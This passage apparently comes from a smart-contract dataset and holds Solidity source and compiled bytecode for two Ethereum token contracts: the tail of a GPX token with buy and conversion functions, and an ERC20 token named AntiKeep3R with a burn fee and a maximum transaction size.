transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * FEATURE 4): Buyable implements * 0.000268 eth per GPX, so the rate is 1.0 / 0.000268 = 3731.3432835820895 */ uint256 internal buyRate = uint256(3731); event Deposit(address indexed who, uint256 value); event Withdraw(address indexed who, uint256 value, address indexed lastApprover, string extra); function getBuyRate() external view returns (uint256) { return buyRate; } function setBuyRate(uint256 newBuyRate) mostOwner(keccak256(msg.data)) external { buyRate = newBuyRate; } /** * FEATURE 4): Buyable * minimum of 0.001 ether for purchase in the public, pre-ico, and private sale */ function buy() payable whenNotPaused public returns (uint256) { Deposit(msg.sender, msg.value); require(msg.value >= 0.001 ether); // Token compute & transfer uint256 tokens = msg.value.mul(buyRate); require(balances[tokenPool] >= tokens); balances[tokenPool] = balances[tokenPool].sub(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); Transfer(tokenPool, msg.sender, tokens); return tokens; } // gets called when no other function matches function () payable public { if (msg.value > 0) { buy(); } } /** * FEATURE 6): Budget control * Malloc GPX for airdrops, marketing-events, bonus, etc */ function mallocBudget(address _admin, uint256 _value) mostOwner(keccak256(msg.data)) external returns (bool) { require(_admin != address(0)); require(_value <= balances[tokenPool]); balances[tokenPool] = balances[tokenPool].sub(_value); balances[_admin] = balances[_admin].add(_value); Transfer(tokenPool, _admin, _value); return true; } function execute(address _to, uint256 _value, string _extra) mostOwner(keccak256(msg.data)) external returns (bool){ require(_to != address(0)); _to.transfer(_value); // Prevent using call() or send() Withdraw(_to, _value, msg.sender, _extra); return true; } /** * FEATURE 5): &#39;Convertible&#39; implements * Below actions would be performed after token being converted into mainchain: * - KYC / AML * - Unsold tokens are discarded. * - Tokens sold with bonus will be locked for a period (see Whitepaper). * - Token distribution for team will be locked for a period (see Whitepaper). */ function convertMainchainGPX(string destinationAccount, string extra) external returns (bool) { require(bytes(destinationAccount).length > 10 && bytes(destinationAccount).length < 1024); require(balances[msg.sender] > 0); uint256 amount = balances[msg.sender]; balances[msg.sender] = 0; balances[tokenPool] = balances[tokenPool].add(amount); // return GPX to tokenPool - the init account Converted(msg.sender, destinationAccount, amount, extra); return true; } }
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610147578063095ea7b3146101d157806318160ddd1461020757806323b872dd1461022c5780632f54bf6e14610254578063313ce567146102735780633d35d7ba1461029c5780633f4ba83a146102af578063410e8340146102c2578063450eefae146102e4578063661884631461031357806370a082311461033557806378683654146103545780638456cb591461037e57806385e436bf14610391578063902d55a5146103a757806395d89b41146103ba578063a6f2ae3a146103cd578063a9059cbb146103d5578063bacd2a90146103f7578063d73dd62314610419578063dd62ed3e1461043b578063ff0938a714610460575b600034111561014557610143610473565b505b005b341561015257600080fd5b61015a6105d9565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019657808201518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b6101f3600160a060020a0360043516602435610610565b604051901515815260200160405180910390f35b341561021257600080fd5b61021a61068e565b60405190815260200160405180910390f35b341561023757600080fd5b6101f3600160a060020a036004358116906024351660443561069d565b341561025f57600080fd5b6101f3600160a060020a036004351661081e565b341561027e57600080fd5b610286610870565b60405160ff909116815260200160405180910390f35b34156102a757600080fd5b61021a610875565b34156102ba57600080fd5b61014561087b565b34156102cd57600080fd5b6101f3600160a060020a03600435166024356108f3565b34156102ef57600080fd5b6101f360048035600160a060020a0316906024803591604435918201910135610a15565b341561031e57600080fd5b6101f3600160a060020a0360043516602435610b01565b341561034057600080fd5b61021a600160a060020a0360043516610bfb565b341561035f57600080fd5b6101f36024600480358281019290820135918135918201910135610c16565b341561038957600080fd5b610145610d48565b341561039c57600080fd5b610145600435610dc1565b34156103b257600080fd5b61021a610df8565b34156103c557600080fd5b61015a610e07565b61021a610473565b34156103e057600080fd5b6101f3600160a060020a0360043516602435610e3e565b341561040257600080fd5b6101f3600160a060020a0360043516602435610f38565b341561042457600080fd5b6101f3600160a060020a0360043516602435611067565b341561044657600080fd5b61021a600160a060020a036004358116906024351661110b565b341561046b57600080fd5b6101f3611136565b600b54600090819060ff161561048857600080fd5b33600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a266038d7ea4c680003410156104d957600080fd5b600e546104ed90349063ffffffff61113f16565b600b546101009004600160a060020a03166000908152600c60205260409020549091508190101561051d57600080fd5b600b546101009004600160a060020a03166000908152600c60205260409020546105479082611171565b600b54600160a060020a0361010090910481166000908152600c6020526040808220939093553390911681522054610585908263ffffffff61118316565b600160a060020a033381166000818152600c60205260409081902093909355600b549092610100909104909116906000805160206111938339815191529084905190815260200160405180910390a3919050565b60408051908101604052600781527f50617263656c5800000000000000000000000000000000000000000000000000602082015281565b60006040604436101561062257600080fd5b600160a060020a033381166000818152600d6020908152604080832094891680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a3600191505b5092915050565b6a3db9664e3817e7b580000090565b6000606060643610156106af57600080fd5b600160a060020a03841615156106c457600080fd5b600160a060020a0385166000908152600c60205260409020548311156106e957600080fd5b600160a060020a038086166000908152600d60209081526040808320339094168352929052205483111561071c57600080fd5b600160a060020a0385166000908152600c6020526040902054610745908463ffffffff61117116565b600160a060020a038087166000908152600c6020526040808220939093559086168152205461077a908463ffffffff61118316565b600160a060020a038086166000908152600c60209081526040808320949094558883168252600d81528382203390931682529190915220546107c2908463ffffffff61117116565b600160a060020a038087166000818152600d6020908152604080832033861684529091529081902093909355908616916000805160206111938339815191529086905190815260200160405180910390a3506001949350505050565b6000805b60085481101561086557600160a060020a0383166000826008811061084357fe5b0154600160a060020a0316141561085d576001915061086a565b600101610822565b600091505b50919050565b601281565b600e5490565b6000366040518083838082843782019150509250505060405180910390206108a333826108f3565b156108f057600b5460ff1615156108b957600080fd5b600b805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15b50565b6008546000908180805b60085483101561093e57600160a060020a0387166000846008811061091e57fe5b0154600160a060020a03161415610933578293505b8260010192506108fd565b6008548414156109515760009450610a0b565b5050506000838152600a6020526040812054600283900a17815b6008548310156109925760008360020a83161115610987576001015b82600101925061096b565b86600160a060020a03167fa54a545886046ba15ce2ead45862f16963c545622fb354dc4336aca97c7cf724878360405191825260208201526040908101905180910390a260095481106109f7576000868152600a602052604081205560019450610a0b565b6000868152600a6020526040812083905594505b5050505092915050565b60008036604051808383808284378201915050925050506040518091039020610a3e33826108f3565b15610af857600160a060020a0386161515610a5857600080fd5b600160a060020a03861685156108fc0286604051600060405180830381858888f193505050501515610a8957600080fd5b33600160a060020a031686600160a060020a03167fa4c6cd4bfefcc09490a00cf1f79a859de6f34c1da3186bb65d5102b1b844554787878760405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a3600191505b50949350505050565b600160a060020a033381166000908152600d6020908152604080832093861683529290529081205480831115610b5e57600160a060020a033381166000908152600d60209081526040808320938816835292905290812055610b95565b610b6e818463ffffffff61117116565b600160a060020a033381166000908152600d60209081526040808320938916835292905220555b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a03166000908152600c602052604090205490565b600080600a85118015610c2a575061040085105b1515610c3557600080fd5b600160a060020a0333166000908152600c602052604081205411610c5857600080fd5b50600160a060020a033381166000908152600c6020526040808220805490839055600b5461010090049093168252902054610c99908263ffffffff61118316565b600b54600160a060020a0361010090910481166000908152600c602052604090819020929092553316907f2c79d896014929b6fdc4d4d626c197b11b8778193b21304728eac43e8a7531b7908890889085908990899051602081018490526060808252810185905280604081016080820188888082843790910184810383528581526020019050858580828437820191505097505050505050505060405180910390a250600195945050505050565b600036604051808383808284378201915050925050506040518091039020610d7033826108f3565b156108f057600b5460ff1615610d8557600080fd5b600b805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150565b600036604051808383808284378201915050925050506040518091039020610de933826108f3565b15610df457600e8290555b5050565b6a3db9664e3817e7b580000081565b60408051908101604052600381527f4750580000000000000000000000000000000000000000000000000000000000602082015281565b600060406044361015610e5057600080fd5b600160a060020a0384161515610e6557600080fd5b600160a060020a0333166000908152600c6020526040902054831115610e8a57600080fd5b600160a060020a0333166000908152600c6020526040902054610eb3908463ffffffff61117116565b600160a060020a033381166000908152600c60205260408082209390935590861681522054610ee8908463ffffffff61118316565b600160a060020a038086166000818152600c602052604090819020939093559133909116906000805160206111938339815191529086905190815260200160405180910390a35060019392505050565b60008036604051808383808284378201915050925050506040518091039020610f6133826108f3565b1561068757600160a060020a0384161515610f7b57600080fd5b600b546101009004600160a060020a03166000908152600c6020526040902054831115610fa757600080fd5b600b546101009004600160a060020a03166000908152600c6020526040902054610fd19084611171565b600b54600160a060020a0361010090910481166000908152600c6020526040808220939093559086168152205461100e908463ffffffff61118316565b600160a060020a038086166000818152600c60205260409081902093909355600b549092610100909104909116906000805160206111938339815191529086905190815260200160405180910390a35060019392505050565b600160a060020a033381166000908152600d6020908152604080832093861683529290529081205461109f908363ffffffff61118316565b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600d6020908152604080832093909416825291909152205490565b600b5460ff1690565b6000808315156111525760009150610687565b5082820282848281151561116257fe5b041461116a57fe5b9392505050565b60008282111561117d57fe5b50900390565b60008282018381101561116a57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203de4fae6a51cc9894a902a3d3cc78e8d5b335411b81031562a1caef6b37e76000029
{"success": true, "error": null, "results": {}}
9,513
0xd2ceb1ab7b2a07834e81245f89d7d48993636cdc
// SPDX-License-Identifier: MIT /** * * /$$ /$$ /$$ /$$$$$$ * | $$ |__/| $$ /$$__ $$ * /$$$$$$ /$$$$$$$ /$$$$$$ /$$| $$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ |__/ \ $$ /$$$$$$ * |____ $$| $$__ $$|_ $$_/ | $$| $$ /$$/ /$$__ $$ /$$__ $$ /$$__ $$ /$$$$$/ /$$__ $$ * /$$$$$$$| $$ \ $$ | $$ | $$| $$$$$$/ | $$$$$$$$| $$$$$$$$| $$ \ $$ |___ $$| $$ \__/ * /$$__ $$| $$ | $$ | $$ /$$| $$| $$_ $$ | $$_____/| $$_____/| $$ | $$ /$$ \ $$| $$ *| $$$$$$$| $$ | $$ | $$$$/| $$| $$ \ $$| $$$$$$$| $$$$$$$| $$$$$$$/| $$$$$$/| $$ * \_______/|__/ |__/ \___/ |__/|__/ \__/ \_______/ \_______/| $$____/ \______/ |__/ * | $$ * | $$ * |__/ * * fuck testing in prod * * **/ pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract AntiKeep3R is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _burnPercentage; address private _storeAddress; uint256 private _maxTransactionAmount; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 totalSupply, uint256 burnPercentage, address storeAddress, uint256 maxTransactionAmount) public { _name = name; _symbol = symbol; _decimals = 18; _burnPercentage = burnPercentage; _storeAddress = storeAddress; _maxTransactionAmount = maxTransactionAmount; _mint(_msgSender(), totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= _maxTransactionAmount, "ERC20: transfer amount exceeds max amount"); _beforeTokenTransfer(sender, recipient, amount); uint256 burnAmount = amount.mul(_burnPercentage).div(100); uint256 transfAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(transfAmount); _balances[_storeAddress] = _balances[_storeAddress].add(burnAmount); emit Transfer(sender, recipient, amount); emit Transfer(sender, _storeAddress, burnAmount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } /** * @dev See {_burnPercentage}. */ function burnPercentage() external view returns (uint256) { return _burnPercentage; } /** * @dev See {_storeAddress}. */ function storeAddress() external view returns (address) { return _storeAddress; } /** * @dev See {_maxTransactionAmount}. */ function maxTransactionAmount() external view returns (uint256) { return _maxTransactionAmount; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063c8c8ebe411610066578063c8c8ebe4146104ad578063dd62ed3e146104cb578063f01f20df14610543578063f2c4da9314610561576100ea565b806395d89b411461035e578063a457c2d7146103e1578063a9059cbb14610447576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806339509351146102a057806370a0823114610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061064d565b604051808215151515815260200191505060405180910390f35b6101e061066b565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610675565b604051808215151515815260200191505060405180910390f35b61028461074e565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610765565b604051808215151515815260200191505060405180910390f35b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610818565b6040518082815260200191505060405180910390f35b610366610860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61042d600480360360408110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610902565b604051808215151515815260200191505060405180910390f35b6104936004803603604081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b6104b56109ed565b6040518082815260200191505060405180910390f35b61052d600480360360408110156104e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f7565b6040518082815260200191505060405180910390f35b61054b610a7e565b6040518082815260200191505060405180910390f35b610569610a88565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106435780601f1061061857610100808354040283529160200191610643565b820191906000526020600020905b81548152906001019060200180831161062657829003601f168201915b5050505050905090565b600061066161065a610ab2565b8484610aba565b6001905092915050565b6000600254905090565b6000610682848484610cb1565b6107438461068e610ab2565b61073e8560405180606001604052806028815260200161155360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f4610ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111709092919063ffffffff16565b610aba565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061080e610772610ab2565b846108098560016000610783610ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123090919063ffffffff16565b610aba565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60006109c561090f610ab2565b846109c0856040518060600160405280602581526020016115c46025913960016000610939610ab2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111709092919063ffffffff16565b610aba565b6001905092915050565b60006109e36109dc610ab2565b8484610cb1565b6001905092915050565b6000600854905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600654905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806115a06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806114c16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061157b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dbd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061149e6023913960400191505060405180910390fd5b600854811115610e18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806115096029913960400191505060405180910390fd5b610e238383836112b8565b6000610e4d6064610e3f600654856112bd90919063ffffffff16565b61134390919063ffffffff16565b90506000610e64828461138d90919063ffffffff16565b9050610ed1836040518060600160405280602681526020016114e3602691396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111709092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f64816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123090919063ffffffff16565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b600083831115829061121d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111e25780820151818401526020810190506111c7565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156112ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b6000808314156112d0576000905061133d565b60008284029050828482816112e157fe5b0414611338576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806115326021913960400191505060405180910390fd5b809150505b92915050565b600061138583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d7565b905092915050565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611170565b905092915050565b60008083118290611483576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561144857808201518184015260208101905061142d565b50505050905090810190601f1680156114755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161148f57fe5b04905080915050939250505056fe45524332303a2074